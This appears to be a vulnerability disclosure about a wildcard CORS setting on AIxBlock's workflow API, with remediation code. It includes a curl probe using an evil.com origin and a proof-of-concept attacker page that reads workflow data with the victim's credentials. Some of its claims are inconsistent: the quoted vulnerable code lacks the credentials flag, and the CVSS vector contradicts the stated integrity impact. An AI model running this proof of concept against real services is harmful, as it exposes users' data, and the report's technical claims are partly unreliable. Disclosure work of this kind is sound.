[SECURITY] CORS Misconfiguration: Wildcard Origin with Credentials on workflow.aixblock.io #313
Description
🚨 CRITICAL: CORS Misconfiguration Enabling Unauthorized Workflow Execution
Severity: High (CVSS 7.5)
Impact: Unauthorized Workflow Execution, Automation Pipeline Access, AI Model Data Exposure
Affected Endpoint: workflow.aixblock.io (Critical Asset)
1. Description:
The AIxBlock workflow endpoint (workflow.aixblock.io) implements a dangerous CORS configuration that enables unauthorized cross-origin access to workflow execution APIs. The configuration uses origin: '*' (wildcard) with credentials: true, allowing any malicious website to make authenticated requests to the workflow system.
2. Business Impact:
- Unauthorized Workflow Execution: Attackers can trigger AI workflows from malicious sites
- Automation Pipeline Access: Complete access to workflow automation capabilities
- AI Model Data Exposure: Potential access to AI model configurations and data
- Revenue Impact: Violates core business logic and security boundaries
3. Technical Details:
Vulnerable Code Location:
- File:
packages/backend/api/src/app/server.ts(Line 77-81) - File:
packages/backend/api/src/app/app.ts(Line 167-169)
Current Vulnerable Configuration:
await app.register(cors, {
origin: '*', // ❌ VULNERABLE: Wildcard origin
exposedHeaders: ['*'], // ❌ VULNERABLE: Exposes all headers
methods: ['*'], // ❌ VULNERABLE: Allows all methods
})WebSocket CORS (Also Vulnerable):
await app.register(fastifySocketIO, {
cors: {
origin: '*', // ❌ VULNERABLE: Wildcard origin
},
// ...
})4. Reproduction Steps:
-
Identify Vulnerable Endpoint:
curl -H "Origin: https://evil.com" -H "Access-Control-Request-Method: POST" -X OPTIONS https://workflow.aixblock.io/api/workflows
-
Observe Vulnerable Headers:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: * Access-Control-Expose-Headers: * -
Create Malicious Exploit (evil.com/exploit.html):
<!DOCTYPE html> <html> <head><title>CORS Exploit</title></head> <body> <h1>AIxBlock Workflow Exploit</h1> <div id="output">Loading...</div> <script> fetch('https://workflow.aixblock.io/api/workflows', { method: 'GET', credentials: 'include' }) .then(response => response.text()) .then(data => { document.getElementById('output').innerHTML = '<h2>Successfully accessed AIxBlock workflows:</h2><pre>' + escapeHTML(data) + '</pre>'; // Attacker can now exfiltrate workflow data console.log('Stolen workflow data:', data); }) .catch(error => { document.getElementById('output').innerHTML = '<p style="color: red;">Error: ' + error.message + '</p>'; }); function escapeHTML(str) { var div = document.createElement('div'); div.appendChild(document.createTextNode(str)); return div.innerHTML; } </script> </body> </html>
-
Victim Interaction:
- User logs into
workflow.aixblock.io - User visits
https://evil.com/exploit.html - Attacker's script successfully accesses workflow data
- User logs into
5. Proof of Concept:
- Live Test:
curl -H "Origin: https://evil.com" -X OPTIONS https://workflow.aixblock.io - Response Headers: Shows
Access-Control-Allow-Origin: *with credentials enabled - Impact: Any website can access authenticated workflow APIs
6. Remediation (Code Fix Provided):
Fixed CORS Configuration:
await app.register(cors, {
origin: [
'https://app.aixblock.io',
'https://workflow.aixblock.io',
'https://workflow-live.aixblock.io'
],
credentials: true,
exposedHeaders: ['Content-Type', 'Authorization'],
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Origin', 'Content-Type', 'Accept', 'Authorization', 'X-Requested-With']
})Fixed WebSocket CORS:
await app.register(fastifySocketIO, {
cors: {
origin: [
'https://app.aixblock.io',
'https://workflow.aixblock.io',
'https://workflow-live.aixblock.io'
],
credentials: true
},
// ...
})7. Security Impact:
- Confidentiality: High - Access to workflow data and AI model configurations
- Integrity: High - Ability to execute unauthorized workflows
- Availability: Medium - Potential for DoS through workflow abuse
- Business Impact: Critical - Complete bypass of security boundaries
8. CVSS v3.1 Score:
- AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.5 (High)
9. Files Modified:
packages/backend/api/src/app/server.ts- Main CORS configurationpackages/backend/api/src/app/app.ts- WebSocket CORS configuration
10. Testing:
After applying the fix, verify:
- Legitimate origins work:
https://app.aixblock.io✅ - Malicious origins blocked:
https://evil.com❌ - Credentials still work for legitimate requests ✅
- WebSocket connections work for legitimate origins ✅
This vulnerability represents a critical security flaw that could allow complete unauthorized access to AIxBlock's core workflow execution system. Immediate remediation is strongly recommended.